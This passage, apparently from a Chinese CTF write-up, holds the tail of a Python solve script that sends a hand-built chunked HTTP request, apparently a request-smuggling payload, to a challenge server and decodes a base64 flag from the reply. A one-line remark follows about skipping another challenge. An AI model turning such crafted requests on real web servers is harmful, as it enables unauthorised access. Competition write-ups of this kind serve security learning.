f"Transfer-Encoding: chunked\r\n"
f"\r\n"
).encode("ascii")
return headers + body + p
def run():
payload = gen_payload(host, port)
s = socket.create_connection((host, port), timeout=5)
s.sendall(payload)
s.settimeout(3)
r = recv_until(s)
text = r.decode("utf-8", "ignore")
m = re.search(r'([A-Za-z0-9+/=]{20,})', text)
if not m:
print("not found ==>\n", text[:800])
return
b64 = m.group(1)
try:
flag = base64.b64decode(b64).decode("utf-8", "ignore")
print("flag ==>", flag)
except Exception as e:
print("error ==>\n", b64, e)
if __name__ == "__main__":
run()
引用
Gift for the Tifosi
这题没看,文件似乎有点多😨。


浙公网安备 33010602011771号